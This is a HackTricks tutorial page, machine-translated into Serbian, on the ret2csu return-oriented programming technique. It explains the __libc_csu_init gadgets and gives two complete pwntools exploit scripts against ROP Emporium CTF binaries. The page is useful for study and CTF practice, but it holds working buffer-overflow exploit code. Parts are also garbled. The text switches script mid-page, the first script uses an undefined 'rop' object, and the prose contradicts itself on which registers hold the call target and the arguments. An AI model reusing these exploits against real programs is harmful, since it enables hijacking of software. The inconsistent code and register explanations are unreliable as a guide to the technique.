Ret2csu

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

ret2csu je hakovanje tehnika koja se koristi kada pokušavate da preuzmete kontrolu nad programom, ali ne možete pronaći gadgete koje obično koristite za manipulisanje ponašanjem programa.

Kada program koristi određene biblioteke (poput libc), ima neke ugrađene funkcije za upravljanje načinom na koji različiti delovi programa komuniciraju međusobno. Među ovim funkcijama postoje neke skrivene dragocenosti koje mogu delovati kao naši nedostajući gadgeti, posebno jedna nazvana __libc_csu_init.

Čarobni Gadgeti u __libc_csu_init

U __libc_csu_init, postoje dve sekvence instrukcija (gadgeti) koje treba istaći:

  1. Prva sekvencija nam omogućava postavljanje vrednosti u nekoliko registara (rbx, rbp, r12, r13, r14, r15). To su kao slotovi gde možemo čuvati brojeve ili adrese koje želimo koristiti kasnije.

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Ova sprava nam omogućava da kontrolišemo ove registre tako što ćemo sa steka izvlačiti vrednosti i upisivati ih u njih.

  1. Drugi niz koraka koristi vrednosti koje smo postavili da uradi nekoliko stvari:

  • Premesti određene vrednosti u druge registre, pripremajući ih za korišćenje kao parametre u funkcijama.

  • Izvrši poziv na lokaciju određenu sabiranjem vrednosti u r15 i rbx, zatim množenjem rbx sa 8.

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Možda ne znate nijednu adresu koju biste mogli tamo upisati i potreban vam je ret instrukcija. Imajte na umu da će drugi gedžet takođe završiti sa ret, ali ćete morati da ispunite neke uslove kako biste došli do njega:

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

Uslovi će biti:

  • [r12 + rbx*8] mora pokazivati na adresu na kojoj se nalazi pozivna funkcija (ako nemate ideju i nema pie-a, možete jednostavno koristiti _init funkciju):

  • Ako je _init na 0x400560, koristite GEF da pretražite pokazivač u memoriji koji pokazuje na nju i postavite [r12 + rbx*8] da bude adresa sa pokazivačem na _init:

# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44     "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44     "\x60\x05\x40[...]"
  • rbp и rbx морају имати исту вредност да би се избегао скок

  • Постоје неки пропуштени pop које треба узети у обзир

RDI и RSI

Још један начин за контролисање rdi и rsi из ret2csu гаџета је приступање одређеним офсетима:

Погледајте ову страницу за више информација:

pageBROP - Blind Return Oriented Programming

Пример

Коришћење позива

Замислите да желите да направите системски позив или позвате функцију као што је write(), али вам требају специфичне вредности у регистрима rdx и rsi као параметре. Обично бисте тражили гаџете који постављају ове регистре директно, али их не можете пронаћи.

Овде на сцену ступа ret2csu:

  1. Поставите регистре: Користите први мађијски гаџет да избаците вредности са стека у rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) и r15.

  2. Користите други гаџет: Са тим постављеним регистрима, користите други гаџет. Ово вам омогућава да преместите изабране вредности у rdx и rsi (из r14 и r13, респективно), спремне за параметре позива функције. Штавише, контролишући r15 и rbx, можете натерати програм да позва функцију која се налази на адреси коју израчунавате и стављате у [r15 + rbx*8].

Имате пример коришћења ове технике и објашњења овде, а ово је крајњи експлоит који је коришћен:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

Imajte na umu da prethodni exploit nije namenjen za RCE, već samo da pozove funkciju nazvanu win (uzimanje adrese win sa stdin pozivanjem gets u ROP lancu i smeštanje u r15) sa trećim argumentom vrednosti 0xdeadbeefcafed00d.

Bypassovanje poziva i dostizanje ret

Sledeći exploit je izvučen sa ove stranice gde se koristi ret2csu ali umesto korišćenja poziva, bypassuje se poređenje i dostiže ret nakon poziva:

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Zašto ne koristiti libc direktno?

Obično su ovi slučajevi takođe ranjivi na ret2plt + ret2lib, ali ponekad morate kontrolisati više parametara nego što je lako kontrolisati pomoću gedžeta koje direktno pronađete u libc-u. Na primer, funkcija write() zahteva tri parametra, a pronaći gedžete za postavljanje svih ovih direktno možda nije moguće.

Last updated